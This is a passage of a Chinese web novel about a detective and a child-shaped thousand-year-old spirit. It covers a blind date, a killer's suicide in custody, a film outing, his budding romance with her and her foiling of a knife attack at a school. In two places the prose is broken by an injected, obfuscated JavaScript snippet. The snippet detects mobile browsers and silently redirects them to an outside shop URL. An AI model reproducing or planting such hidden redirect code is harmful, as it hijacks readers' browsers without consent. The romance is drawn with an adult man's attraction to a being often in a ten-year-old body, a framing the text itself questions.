“不要!”薛宓猛地扑过去,指尖穿透光晕却只触到一片虚无,“我还没说完对不起……我还没……” 她瘫坐在地,泪如雨下,身体也因为急剧的脱力,缩水回到了十岁。 玄关的灯突然亮起。 贺黎筠刚推开家门,就听到一阵压抑又断断续续的抽噎声从客厅传来,他鞋都没脱完就大步冲了进去。 就见薛宓小小地蜷在沙发角,哭成一团。 “怎么了?” 他蹲下来,掌心悬在她发顶又不敢碰,声音绷得发紧。 “是净化的时候……发生什么意外了吗?” 他知道薛宓在送引那些魂魄往生时,偶尔会不可避免地读取到他们残留的记忆碎片。他见证着她的情感日益丰沛,会笑会恼,但哭得如此崩溃失态,却还是第一次。 薛宓抬起泪眼婆娑的脸,抽噎得几乎说不出完整句子:“恶鬼……恶鬼吞噬了薛宁……我刚刚送她往生了……她说要是转世后还遇到她,记得再和她做朋友呜呜呜……” 话未说完,巨大的悲伤再次攫住她,让她泣不成声。 贺黎筠的心像是被这只言片语狠狠攥紧,瞬间明白了她为何崩溃至此。再没有丝毫犹豫,他悬在她发顶的手终于落下,轻轻覆在她发顶揉了揉。 “我就说,她不会责怪你的……” “吞噬她的是恶鬼,不是你。而你最终净化了她,薛宓,你救了她。你让她得以安息,可以转世投胎了。” 头顶传来温柔的触感,薛宓哭着将脑袋蹭了过去:“可我的话还没说完,我有很多话想要跟她说呜呜呜……” “又不是只有这一次机会,你们还会再遇的。” 薛宓的哭声渐渐弱了些,她抓着贺黎筠衣角的手指慢慢松开,身体却仍像只被暴雨淋透的小猫,微微发着抖。 “可这个世界这么大,哪有那么容易……” 贺黎筠安慰地拍了拍她,正要开口安慰,却发现手掌下的少女身躯正在微微发热。 骨骼发出细微的噼啪声,像春芽顶破冻土。他低头,就见薛宓的裙子领 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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半个小时后,贺黎筠简单地准备好晚饭,端着菜走出厨房时,就见薛宓已经收拾完情绪乖乖地坐在饭桌前等饭。 她依旧穿着那件不合身的小裙子,如今布料无比局促地包裹着,裙摆更是短得只能堪堪遮住腿根,将她一双笔直的长腿完全暴露在灯光下。 贺黎筠眉头紧蹙地将饭菜摆好,然后刻意绕到餐桌的另一头,挑了个离她最远的位置坐下。 当对方的容貌长得和自己相差不了几岁时,他局促地发现,自己竟然很难像往常一样自然地面对……甚至奇怪地,不敢和她对视。 薛宓还是小孩子的样子最好相处。他不禁在心里默默地想。 薛宓狐疑地瞥了贺黎筠一眼:“你干嘛坐得离我那么远……” “……你要不,还是变回去吧。”贺黎筠放下碗筷,认真地说。 薛宓也不知道贺黎筠在介意什么,不满地嘟囔了一句后,还是乖乖地变了少女的模样。 谁知吃了几口饭,贺黎筠又道:“变回小女孩的样子吧。” 薛宓:“……” 但等薛宓变回小女孩的模样,贺黎筠又觉得哪里不对。那件原本紧包的小裙子变得松松垮垮,肩带滑落至臂弯,领口也松垮地敞着,露出大片雪白的肌肤和精巧的锁骨。 薛宓爱穿裙子,是因为变大变小方便。可……原本薛宓没长大时,贺黎筠没什么实感,如今再这么瞧着,脑海里总是会浮现一些莫名其妙的画面。 整得自己像个恋童癖似的! 贺黎筠闷头扒了几口饭,眉头越蹙越紧。 “薛宓,你要不还是变回少女的样子吧……” “贺黎筠,你是不是有病啊!”薛宓腾地一下变大。 她不管不顾地倾身逼近,漂亮的眼睛里燃着被反复无常的要求彻底点燃的怒火:“一会儿嫌我大!一会儿嫌我小!你到底想怎样?!变大变小很累的你知不知道!你真把我当橡皮泥了是吧?!” 她气得直接伸手,毫不客气地捏住他两颊的软肉,用力往外扯:“看不惯,就受着!再逼逼,就揍你了!” 她逼近他,吐息温热,话语却带着凶巴巴的威胁,然而这么一张放大的漂亮脸蛋近在咫尺,却让贺黎筠的心再次扑通扑通地跳了起来。 糟糕了。 自己可能……真的有点什么问题了! “你你你别靠太近。”他再次惊恐地把薛宓推开,用力地用手狠狠地拍打自己的脸。 然而,物理的痛感根本驱散不了脑海里那些混乱的念头。 而薛宓一脸见鬼的表情看着他,更让他有种无力的羞耻感。 他低头长叹一口气,轻轻道:“对不起。可能是最近工作太累了……” 第二天晚上,贺黎筠就去相亲了。 这回破获连环大案,他立下头功,上头几位关心他的老领导纷纷热情做媒,都觉得他事业立稳了,是时候成个家,人生才算圆满。 可像他们这种干刑警的,哪有什么真正的安稳日子可言。 他从小看着父亲为了破案奔波,常年忽略家庭,自己忙起来更是几天几夜不着家。 正是深知自己绝非一个合格的丈夫或父亲人选,正因为太清楚这份职业对家庭的亏欠,他才一直不愿轻易开始一段关系,生怕负了别人。 可现在,他产生了一些混乱又莫名的情绪。应该还是自己平时接触的女性太少的缘故吧…… 带着这种自我检讨的心态,贺黎筠见到了今天相亲的对象——某位领导介绍的千金,一位才华横溢的小提琴首席。 对方容貌秀丽,性格开朗善谈,言谈举止间尽显优雅与自信,家世和修养都无可挑剔。 而这样优秀的女性,还是他的粉丝。是听说了他屡破奇案的事迹,心生钦佩,特意拜托了父亲牵线做媒。 可每当对方笑着提起音乐厅的趣事,或是询问他抓捕犯人的经历时,贺黎筠的思绪总像断了线的风筝,不受控制地飘远…… 若他以后真的结婚成了家,薛宓该怎么办?让她搬去老家和妈妈一起住? 万一她又控制不住地变成完成体……被妈妈发现……他眉头下意识蹙紧。 “贺警官。” 一声轻唤,把贺黎筠飘远的思绪猛地拽回。他抬眼,就见对面的女士露出一个了然而不失体面的微笑:“贺警官是不是心里已经有喜欢的人了?” 48.约会 “啊?”贺黎筠一怔,几乎是条件反射般地否认,“没有。” “真的没有吗?”林清弦轻轻搅动着咖啡,笑着道,“我还以为贺警官已经有了喜欢的同事。因为每次聊到您如何侦查破案时,您的嘴角总会不自觉地扬起。可每当我谈论自己、或者问及您生活其他方面时,您虽然看似在听,眼神却已经飘走了。” 她顿了顿,语气温和却一针见血:“我对自己的外貌和能力都还算有信心,以往的经历里,还从未被人这样忽略。除非……对方的心里,早就装了别的人。” 她笑了笑,带着一种洒脱的善意:“说实话,我更多是您的粉丝,出于对英雄的欣赏才想来认识您。如果您已有心仪之人,我会衷心祝福的。” “今天,就到这里吧。” 相亲对象离开后,贺黎筠还独自坐在原位,对着那杯冷掉的咖啡有些怔忡。直到,一个小脑袋探了过来。 是十岁的薛宓。 “怎么聊了这么短时间就结束啦?” 望着突然出现的薛宓,贺黎筠呼吸一窒,错愕地反问:“你……你怎么会在这里?” “看你昨天奇奇怪怪的,就跟踪了。”薛宓非常自然地在他对面的位置坐下,语气里带着毫不掩饰的好奇和一点点埋怨,“你偷偷相亲怎么不告诉我呀,幸好我跟过来看了。刚才这个小姐姐就挺好的,身上的光芒也挺明亮的,你应该多争取争取的。” 薛宓一副真心为他打算的模样让贺黎筠的心里有些奇怪地不是滋味,他下意识撒谎道:“她是领导的女儿,是我的粉丝。” “这样啊……”薛宓有些惋惜,“都是你的粉丝了,你要不努力追一追人家?” “你怎么对我结不结婚的事这么上心?” 贺黎筠的脸色不知为何倏地沉了下来,语气硬邦邦的:“我真结了婚,以后我们就不能再像现在这样住在一起了。就算是亲兄妹,长大了也要分开住,更何况我们……什么都不是。” “我可以去住学校宿舍呀。”薛宓答得飞快,一脸“这根本不是问题”的坦然,甚至还带着点对未来集体生活的些许好奇和向往。 “……”贺黎筠被这句完全没抓到重点的回答噎得一时失语,胸口莫名堵得更厉害了。 “而且,你不应该给我点钱吗?我帮你破了那么多大案,你拿了那么多奖金和荣誉。”薛宓掰着手指头,一本正经地算账,语气理直气壮,“怎么说,都该分我一大份吧?” “……” 自己在那边纠结得要死,而始作俑者却没心没肺什么都不知道。 一股难以名状的、混合着无力、气闷和一丝委屈的情绪,在贺黎筠心口翻腾得厉害。 他不禁跟着理直气壮道:“我们缔结的是灵魂的契约。满足我的愿望,本就是你的承诺与义务。帮我破案,也是理所应当的,而且你也吞噬了很多恶念,恢复了昔日的力量。这已经是很公平的交易了。” 薛宓本想再讨点好处,可贺黎筠莫名胸闷的情绪,也同样共感给了她。她虽不明白他究竟在气什么,但那沉甸甸的、带着涩意的波动让她下意识收敛了起来。 依照过往的经验,这种时候,讨好似乎总是有用的。 于是她眨了眨眼,像只试图安抚主人的小动物般,乖顺地凑了过去:“别不高兴嘛……我只是说说而已,不会真的要你的钱啦。”她轻轻拉了拉他的衣袖。 以前看着薛宓顶着小学生的脸撒娇卖萌的样子,贺黎筠总会下意识地将她当作一个需要照顾的孩子,一张纯粹的白纸。特别是看见她和林美美他们玩成一片的快乐模样,和人类小学生又有什么区别……他又不是恋童癖? 可现在,分明是同样一副乖巧幼态的模样,同样扯着他袖口的动作,甚至那句软绵绵的“别不高兴嘛”都别无二致,贺黎筠却再也无法用从前那般平静的心态去对待。 一切都怪她突然变成完全体开始! 那种极其细微却无法忽视的别扭感,如同细小的藤蔓悄然缠绕上他的心脏,令他的目光仿佛被烫到般,迅速地移开。 “你心跳又变快了,是还在生气吗?那我允许你摸一下我的头发,据说人类心情会变好。” 林美美有个小习惯,就是喜欢摸妈妈的头发,说摸头发的时候会有一种幸福的安全感。薛宓偷偷摸过崔芳华的头发,并没有感觉到那种感觉,但崔芳华摸摸她头时,她会有一种很开心的感觉。 所以,她把自己的脑袋凑了过去。但,贺黎筠二话没说地就把她推开了。 电视剧里,谈钱伤感情。 看来,贺黎筠真的是生气了。 小气鬼! 她心里默默吐槽着,却听到贺黎筠冷不丁突然问道:“薛宓,你……懂得人类的情感吗?” “当然懂啊!”薛宓一脸“你在问什么白吃问题”的神情,“要是不懂情感,我看见那些罪犯的时候,怎么会那么生气?” “那你……在学校里有喜欢的人吗?”贺黎筠斟酌着用词。薛宓在小学里人缘极好,不仅生日收到很多礼物,这次毕业也受到很多男同学送的巧克力。大家都说她是班花。 “有啊!” 贺黎筠心头莫名一紧,几乎是脱口而出:“你才小学毕业,不能早恋。” “……”薛宓无语地白了他一眼,“我喜欢林美美,喜欢李秋华,我还喜欢你妈——哦,还有你。” 她发顶那根翘起的呆毛随着她认真的表情轻轻晃动,语气没有丝毫犹豫:“是这种喜欢。” 只是这种喜欢吗? 贺黎筠沉默片刻,声音不自觉地低了些:“那……如果在这里面排个名,我大概能排第几?”他问得随意,像是不抱什么期待。毕竟薛宓和林美美在一起的时间,远超过和他。 “当然是第一啊!”却没想到薛宓答得飞快,“我们可是签过契约的。” “如果……没有契约呢?”他注视着她,声音更轻了,“我还会是你最喜欢的那一个吗?” 薛宓歪头想了想,随即点头:“嗯。你的能量场让我最舒服。” 她忽然反过来望向他,眼睛亮晶晶地问:“贺黎筠,那我在你喜欢的人里面,排第几呀?” 贺黎筠心跳猝不及防地漏了一拍。他停顿了一会儿,才轻声回答:“家人之下,或许……就是你。” 薛宓微微睁大了眼睛,脸上瞬间闪过一种真实的、几乎可以称之为“受宠若惊”的神情。 她竟然能排在他那些并肩作战、日夜相处的同事上面! 看来帮他追查到杀父仇人这件事,果然大幅提升了自己在他心中的地位和好感度! 一种混合着得意与满足的小小雀跃在她心底漾开,头顶上翘着的那个呆毛摇得更欢快了~ 本着好学求知的劲头,薛宓好奇地继续问:“你心中第一名应该是妈妈吧?那如果结婚的话,妻子会超过妈妈,变成新的第一名吗?” 还不等贺黎筠组织好语言回答,她就自答道:“如果我有妈妈的话,我好像完全没办法想象,有谁能够比她更重要。但当‘喜欢’累积到某种程度,似乎就会蜕变成‘爱’,夫妻之间的爱意就会胜过父母。” 她说着,皱起了眉:“但爱情,似乎并不是什么好东西。就像李秋华那样。因为深爱着温世谦,才会毫无保留地信任他,最终也被他伤得最深。所以从那时起,我就一直忍不住想,人类口中所说的‘爱’,到底是什么感觉?为什么总说真正的爱意……是根本无法控制的?” “爱……很复杂。它既不是简单的冲动,也不是完全的控制。相反,它可能是一种……想要长久守护、即使与自己利益无关也希望对方安好的心情。李老师并没有任何错,她只是爱错了人,交付的真心没能被妥善收藏。” 贺黎筠将目光转回到薛宓身上,她像好奇宝宝一样认真地看着自己。他垂在膝头的手指无意识蜷起,声音轻了下来。 “那种‘无法控制’,或许指的是无法控制地去为一个人着想,无法控制地因她欢喜或因她担忧。但它不应该让任何一个人失去判断,从而变得痛苦。” “大概就是,那个人会成为你所有规则和计划里的例外。你会开始做很多没有理由、甚至不像自己会做的事。” 薛宓安静地听完,最终嫌弃地摆摆手道:“那我坚决不想有这种患得患失、计划外的情感。这简直是个大累赘!” 贺黎筠:“……” 那些刚燃起的小火苗就这样扑灭了。 是啊,这本来就是不应该的。 他是个正常的成年男人,而薛宓虽然活了千年,但她的心理年龄也只是孩子罢了。 她或许能精准地分辨善恶、感知情绪,她或许能理解守护,理解喜欢,甚至可以模仿依赖,但她可能永远也无法真正明白,那种让人类辗转反侧、甘愿画地为牢、糅合了占有、欲念、牺牲与排他性的,复杂到极致的——名为“爱”的情感。 现在的他,同样不理解。 或许,现在自己所感知到的情感不过是他因长期相处而产生的某种错觉,又或是他接触女性太少、经历太单一产生的误判。 可能,是朋友之间的喜欢。 是的,应该是这样的…… 就在贺黎筠深深吸了一口气,要把这股混杂着无力与清醒的酸涩感扼杀在摇篮里时,他突然接到一通电话。 只听了几句,他眉宇间尚存的一丝迷茫顷刻间荡然无存,脸色以肉眼可见的速度沉了下去。 魏明璟……在看守所里自杀了。 对于这种重大复杂案件,牵扯连环谋杀和耸人听闻的非法人体实验分支,尚在审查起诉阶段,等到最终判决,至少要一年以后。 但他却在这个铜墙铁壁的囚笼里,用撕成条状的床单,将自己勒死在监舍门后的观察窗栅栏上。 发现时,他身体微斜,双手和那些受害者一样以某种扭曲的姿势合十。 似在祈祷,又似在挣扎。 脖颈上的布条深陷,肤色青紫,无声地透露出身体本能求生与强大自毁意志之间最后的对抗痕迹。 而墙上,是他用血迹留下的最终遗言: “历史会证明我的正确,而你们是阻碍进步的绊脚石。” 即使走向自我毁灭的终点,他依然极端地、偏执地坚信自己是正确的。他用这种极端的方式完成了最后一次“净化”,一场献祭给自己的殉道。 但这条本该引发震动的新闻,却并未在公众视野中停留太久。 就在第二天,一个娱乐圈顶流的出轨丑闻引爆全网,所有的关注与热议瞬间被瓜分殆尽。他企图用死亡镌刻的“证词”,在喧嚣的网络浪潮中,迅速沉没。 他妄想被历史铭记的“正确”,在世人眼中,终究不过是一个变态杀人魔临终前疯癫的呓语。 但得知这一消息的薛宓,却忧心忡忡。 魏明璟意志力极端强大、执念深重,且自缢而亡本身又凝聚了一股极大的怨戾之气。他极有可能在咽气的刹那,灵识不经历寻常亡魂的浑噩阶段,直接汲取周遭的负面能量与自身的滔天怨念,蜕变为一种力量惊人、危害极大的“厉煞”。 所以魏明璟自缢后,薛宓便前所未有地紧张起来,几乎寸步不离地跟在贺黎筠身边,严防死守,就怕魏明璟死后化作那凶戾之物,前来纠缠报复。 贺黎筠在局里时,她就小孩模样安静地待在角落。像公安局这种地方阳气旺盛,薛宓并不是很担心。 但他若是需要外出办案或办事,薛宓就觉得孩童的身体诸多不便,总会以完成体的模样跟他一起出门。 最初那几天,贺黎筠对此十分抗拒,不是皱着眉说“你这样太惹眼,影响工作”,就是瞥着她过短的裙摆硬邦邦地挑刺“穿成这样不合适”。 但没过几天,贺黎筠便主动地带她一同出门。不仅不再挑剔,还主动带她去买合身的衣服,选搭配的包包。 果然,头七降至——这个亡灵意识最清晰、力量最强大、对生前执念最为偏执的时刻,贺黎筠还是挺胆小的。 就这样,风平浪静地过了小半个月,薛宓渐渐放下心来,想着也许魏明璟并未化成厉鬼。加之天气越来越炎热,她开始懒洋洋地不愿动弹。 就在她几乎要松懈下来时,贺黎筠却忽然在翻看日历时无意提起:“八月十二是农历七月十五,中元节。” 他语气平常,就像在说一个普通的节日,可目光却若有似无地扫过她。 于是,薛宓又认命地恢复成完成体,陪着他出门。 美其名曰“以防万一”。 “那个……”几日后,贺黎筠轻咳一声,目光飘向窗外,“正好单位发了两张票,明天到期,不用就浪费了。” 他顿了顿,像是忽然想起什么似的,又飞快地补充道:“你最近……陪我到处跑也挺辛苦的。我们一起看吧……” 明明是早早就订好的电影票,就连座位,都是他对着购票APP反复斟酌后选定的,但在真正说出口时,贺黎筠还是纠结了很久,最终以这种拙劣的理由发出了邀请。 薛宓倒不是第一次看电影,唯一两次的观影经历,都是陪林美美看的动画电影。 听到贺黎筠说这是一部新上映的科幻大片,特效震撼、情节跌宕,她眨了眨眼,倒也真的生出几分兴趣来——毕竟,用这种方式观察人类如何想象未来、构建世界,对她来说确实挺新鲜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16843840|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 影院灯光暗下,巨大银幕上光影流转。贺黎筠抱着一大桶爆米花,身体却有些不自然地僵直在座位上。 这是他第一次和女性一同看电影,更别说,还是他主动邀请的。 他本来都打算放弃了。疯狂洗脑自己这只是“错觉”,但这个“错觉”却并没有随着时间的流逝而消失,反而因为她紧张兮兮地赖在自己身旁,变得更加的肯定。 自己真的是栽了。 为什么偏偏是……薛宓? 他深深地长叹一口气。 他都献殷勤献得这么明显了,她却毫无觉察。果然,想撬开她的心并不是一件很容易的事。 导致贺黎筠更不自信了,内心担心着眼下这种自然、甚至堪称和谐的相处模式,才是薛宓最舒适、也最想要的状态——一种基于契约与习惯的紧密陪伴,纯粹而不掺杂质。 而自己应该把这份不合时宜的心动小心翼翼地埋藏起来,但内心总会有一点点不甘心…… 万一呢? 万一哪一天,薛宓就像她突然理解人类的愤怒与悲伤一样,忽然对“爱”开了窍呢? 手背突然传来一片温软的触感。 那触感极轻,像一片羽毛轻轻落下,又像春溪漫过冰封的岸。 贺黎筠浑身一僵,明明视线还胶着在银幕上爆炸的星舰,余光却不受控制地扫向身侧。 薛宓浑然未觉。 她正看得入神,银幕上飞船擦着陨石群掠过,她的瞳孔里映着流光溢彩,手指无意识地往前伸,指尖再一次在昏暗的光线下不经意地擦过他微烫的手背。 一阵细微的电流随着她的动作轻轻带起…… 那触感太清晰了。 贺黎筠能感觉到她指腹的软嫩,能分辨出那点没擦干净的焦糖碎屑正黏在他皮肤上。他甚至能闻到她发间飘来的草莓洗发水味。 电影里的主角正在呐喊,可他什么都听不见了。 心跳声骤然放大,震得耳膜发疼。 他下意识蜷了蜷手指,却还是忍不住悄悄往旁边挪了挪,让两人之间的空隙窄了些,又不动声色地将爆米花桶往她那边推了推。 就在贺黎筠胸腔里那颗心脏不受控制地越跳越快、越跳越响,几乎要擂鼓般撞击他的耳膜时,身旁正专注盯着银幕的薛宓却忽然毫无预兆地转过头来。 她那双在光影变幻中显得格外清亮的眼睛径直望向他,眉头微微蹙起,带着一丝纯粹的困惑和不易察觉的担忧:“你的心跳……怎么突然跳得这么快?咚、咚、咚的,像打鼓一样。” 她甚至下意识地抬手按了按自己的心口,仿佛那剧烈的震动也能通过某种无形的联结传递到她身上:“你、你没事吧?是哪里不舒服吗?” 贺黎筠恨不得找个地洞钻进去…… “没、没事。就是……这电影太刺激了。看得我好紧张……” 他轻咳一声,把爆米花桶往她那边又推了推:“那什么……你要是饿了,多吃点。” 薛宓总是能精准捕捉到他心跳的每一次紊乱,但他却从来感受不到薛宓的喜怒哀乐。 或许,自己做的一切都是无用功。 但,这是贺黎筠第一次产生心动的感觉,他不知道自己该怎么做才是正确的,追求女孩子的方法也是现学了百度上的攻略,但他所做的一切,只是遵从自己的本心罢了。 至少,不让未来的自己后悔。 因为,他已经做了一件让自己后悔的事情…… 不应该答应薛宓去读那该死的初中! 马上要开学了……而且初中是青春期孩子最叛逆的时刻,贺黎筠一颗老父亲的心忧上加忧。 随贺黎筠出去玩的次数越来越多后,薛宓渐渐地发现自己对时间的感知变得奇怪起来。 她开始习惯在傍晚六点左右望向门口,耳朵会不自觉捕捉电梯抵达楼层的细微声响。 如果贺黎筠准时出现,她胸腔里那团模糊的能量就会像被理顺的毛线,温顺地蜷缩起来。 可若他加班……手机屏幕亮起“今晚迟归”的简讯时,那种感觉就来了。 起初她无法命名。只是觉得客厅的灯光太散,连窗外的蝉鸣都像卡顿的磁带。 她会无意识地在沙发和冰箱之间来回踱步,拿起书又放下,最后蹲在玄关嗅他拖鞋上残留的气息。那种能量像被搅浑的水,在她感知里泛起细密的泡沫。 自己的能力,怎么突然变得不稳定起来了……? 最终,她将这种莫名的效率低下和周身能量的凝滞感,归结为“今日环境磁场异常”。 等到开学后,林美美苦恼地和她分享爸爸最近要出差培训一周,她才后知后觉地意识到,这种空洞而焦躁的感觉,在人类的话语体系里,被称为“想念”。 一日,林美美红着眼眶跑来,抽抽噎噎地向她哭诉同桌的男孩又故意掰断了她的新画笔。薛宓安静听完,小脸倏地一板,二话不说便起身径直走向那个正嬉皮笑脸的男孩。 她往对方面前一站,明明个头差不多,却自有一股冷冰冰的气势压下来,凶凶地把对方训斥了一顿。 直把那个调皮捣蛋的男孩吓得一愣一愣,道完歉保证不再欺负林美美后,连头都不敢抬。 薛宓很满意,结果事后,林美美扯着她的袖子,开心地问:“宓宓,你刚才训人的样子好像那些警察叔叔审犯人。你是不是和你哥哥学的呀~气场好足!” 哪有!这明明是她自己的气场…… 可被林美美这么随口一提,薛宓发现,贺黎筠遇上难题会微微眯起左眼,她对着解不出的数学题时,竟也眯起了左眼。 她……竟然无意识地模仿了贺黎筠?! 这要被贺黎筠知道,绝对会笑话自己,薛宓决定改改这些坏习惯时,崔芳华却神秘兮兮地拉住她,压低声音道:“宓宓啊,你最近帮我多观察观察你哥,我总觉得他好像谈恋爱了……” 薛宓:“?” “要是看见有什么小姑娘在他身边转悠,你帮我偷偷拍个照!” 贺黎筠……谈恋爱了? 什么时候的事?她怎么一点都不知道? 这……不是好事吗?他成家立业,妈妈放心,她也该替他高兴才对。 可这个念头升起时,薛宓却下意识地按住了心口。 那里空落落的,沉甸甸的,一种难以言喻的滞涩感弥漫开来,全然没有上次围观他相亲时那种默默吃瓜的轻松心情。 她有些困惑地起身去厨房倒了杯水,又走到窗边张望了三次,最后抱着膝盖坐回沙发,盯着电视黑屏里自己模糊的倒影发呆。 难怪……他最近回家越来越晚了。 49.告白 最近案子扎堆,贺黎筠忙得脚不沾地,几乎天天加班,回到家的时间越来越晚。 以前碰上这种连轴转的情况,就干脆直接住在局里,三天两头不回家是再正常不过的事,可现在家里有了想要见的人,贺黎筠就恨不得快点结束工作,早点回家。 这天他踏进家门时,已是晚上十点。 屋内一片漆黑,没有开灯,寂静无声。贺黎筠以为薛宓已经睡了,正蹑手蹑脚摸黑走进客厅时,却见薛宓正抱着膝盖蜷在沙发角落。 她下巴抵在臂弯里,不知望着空气中的哪一点出神,连他进门都没察觉。 “怎么了?”他立刻走近,声音不自觉放轻。 薛宓撇过头不吭声。 “跟林美美吵架了?”他小心地在沙发边缘坐下。 “没有。”她飞快地瞥了他一眼,又立刻移开视线。静了片刻,忽然没头没尾地问:“最近……没什么坏人需要我帮忙抓吗?” 其实最近的案子并不复杂,根本无需薛宓出手。但贺黎筠看着她月光下微抿的嘴角,又想到两人好久没有一起出门,话到嘴边立刻转了个弯:“有的。正好有几个嫌疑人的行迹需要排查,明天放学后,我带你一起去看看?” 薛宓这才像是满意了,轻轻点了点头。 目前的贺黎筠还需要她的能力,以后就算他真的和别的女人结了婚,应该也不会那么快就把她赶走吧? 可“结婚”这个念头刚一冒出来,就让她的眉头不自觉地蹙了起来。 她忍不住又开口,语气里带着一种她自己都未曾察觉的紧绷:“那你……最近有新的相亲对象了吗?需要我帮你先看看吗?” 没想到她还在惦记这事,贺黎筠连忙摆手:“不相亲了。” “不相亲?”她歪头看他,“为什么?你已经有女朋友了?” 薛宓追问得特别直白,贺黎筠竟不禁跟着鼓起了些许勇气。 “还不算是女朋友,”他深吸一口气,耳根悄然漫上一点不易察觉的红晕,目光却像被什么牵着,稳稳落在她脸上,“但我有喜欢的人了。” 几乎就在他话音落下的瞬间,共感的感知像根细弦,将他的心跳声直接拉进了她的脑海里。 她忽然就不再追问了。 一种陌生的、酸酸涩涩的情绪毫无预兆地漫上心头,堵住了她所有的问题。她不明白这是什么,只是突然不想再继续这个话题了。 贺黎筠不敢说得太直白,本想先用这句话悄悄试探她的反应,试图从她脸上捕捉到一丝一毫的波动,再做打算。 可静默片刻后,薛宓只是抬起头,用一种听不出情绪的声调说:“哦。那什么时候带我见见?我帮你看看。” 似乎对他有喜欢的人这件事情并不感兴趣,只是关心对方的灵魂纯不纯净。 “……” 试探失败。 贺黎筠的一颗心缓缓沉了下去。 下午四点半,放学时分的阳光斜斜地泼洒下来,将行道树的影子拉得细长绵软。贺黎筠正指着马路对面,低声跟薛宓分析嫌疑人的行动轨迹,却见她忽然停下脚步,眉头紧紧蹙起。 “怎么了?”他顺着她的目光望去。不远处是一所刚刚放学的小学,栅栏门外已聚起三三两两等候的家长,就见孩子们背着各式小书包,叽叽喳喳、蹦蹦跳跳地陆续出来,扑进一个个早已张开的温暖怀抱。 “有东西……”薛宓的声音沉了下来,瞳孔微微收缩,“很脏的念头……冲着孩子去的。” 几乎在她话音落下的瞬间,一个穿着灰色连帽衫的男人猛地从树后窜出!他手中寒光一闪,竟是一把半臂长的砍刀,直冲向正背对着他的一对母子! 贺黎筠倒吸一口凉气,第一时间冲了过去,然而身边却猛地掠过一阵疾风。他甚至没看清她是怎么动的,那个男人疯狂挥着砍刀的手腕就被薛宓凌空扣住。 “哈哈哈——都去死——!” 瞧见挡在自己面前的是个细皮嫩肉的小姑娘,男人癫狂地发出一阵嗤笑,然而下一秒,就听“咔嚓”一声脆响。他的笑声骤然扭曲成一声凄厉的惨嚎! 砍刀应声落地。 周围家长这才反应过来,尖叫着抱起孩子后退。 贺黎筠立刻快步上前,还没靠近,就被薛宓不满地瞪了一眼。 他瞬间看懂了对方的眼神,只好又默默地退回到了人群里。 显然,这还没完。 薛宓顺势一拧一拉,旋身一记狠厉的肘击直撞男人肋下,趁他痛得弯腰时,又屈膝重重顶向他腹部! 男人像只破麻袋般瘫软下去,蜷在地上呕出酸水。薛宓单膝压住他后心,反剪双手,整套动作行云流水,甚至没沾到半点尘土。 做完一切,她抬头朝着贺黎筠看了一眼,得到准许的贺黎筠才再次上前,一把将仍在挣扎的男人铐紧。 他抬头看向薛宓,她正背对着渐渐西沉的落日站着,呼吸平稳得仿佛方才什么也未发生,唯有几缕碎发散乱地贴在她微湿的额前。 落日余晖为她周身镀上一层朦胧的金边,也清晰勾勒出她紧抿的唇线和依旧凌厉的眼神。 贺黎筠的心一下子被击中了……眼前的薛宓立在夕照里,马尾微散,眸光锐利如刃——真是说不出的帅气。 周围的家长们此刻才从极度的惊恐中彻底反应过来,各个愤怒地上前,对着倒在地上的凶徒拳打脚踢。 按照往常的规矩,嫌疑人一旦被控制,绝不允许施加额外暴力,可这一次,贺黎筠却罕见地没有立刻出声制止。 他装作没看见般,转头对薛宓低声道:“五年前,市南小学门口发生过一起惨案。一名男子持刀行凶,四个孩子当场死亡,一名学生和一位家长重伤。” 除了愤怒的谩骂和殴打声,四周也此起彼伏响起了掌声和感谢声。 他顿了顿,目光扫过那些情绪激动的家长:“今天若不是你,这对母子必定丧命,甚至会有更多无辜的孩子和家长遭遇不测。所以他们才会如此愤怒。是你,救了他们的孩子,救了他们的家庭。” 贺黎筠继而唾弃道:“像这种反社会的败类,无一例外,都只敢对比自己弱小无数倍的孩子或女性下手。” “难怪,那恶意的能量浓得像泼出来的脓液,令人作呕。” 将犯罪嫌疑人押上警车时,薛宓还是没忍住,趁着周围人不注意,又狠狠地踹了一脚那个已经鼻青脸肿的男人。 而贺黎筠低头收缴作案工具时,忽然瞥见砍刀上沾着一点尚未干涸的血迹。 他心头一紧,立刻上前一把拉住薛宓的手,只见她右手食指的指节外侧,竟被划开了一道不浅的口子,鲜血正细细地渗出来! “你受伤了?”他声音里带着难以置信的惊惶。 薛宓刚才的动作太快太流畅,再加上她不是人类,以至于贺黎筠以为她轻轻松松就制服了对方。 但她却受伤了……不是以往那种与恶鬼缠斗后可能出现的能量损耗或内伤,而是最直接、最原始的物理创伤——她在流血。 “小伤而已。”薛宓不以为意地耸耸肩,试图抽回手,“模拟人类的躯体就是麻烦,这么点皮肉伤……” 话未说完,贺黎筠已从随身包里迅速取出碘伏棒和创可贴。他托起她的手指,动作轻柔得仿佛对待易碎的珍宝,小心翼翼地为她消毒、贴好伤口。 指尖的温度透过创可贴渗进来,烫得薛宓微微一怔。 警车的鸣笛声渐远,围观的家长和孩子也陆续散去,街道重归平静,只剩下夕阳将两人的影子拉得很长。贺黎筠仍握着薛宓的手腕,指尖无意识地摩挲着创可贴的边缘,仿佛那细微的伤口是什么亟待修复的珍宝。 “真的没事,”薛宓晃了晃手指,试图打破这过分的安静,“这身体愈合很快的,马上就连疤都看不到了。” 贺黎筠却没松开,反而皱紧了眉:“以后别这么冲在前面,刀剑无眼,万一……” 他声音低了下去,带着自己都没察觉的紧绷,却被薛宓摇着头打断:“万一什么啊,反倒是我速度慢点才糟糕了呢。” 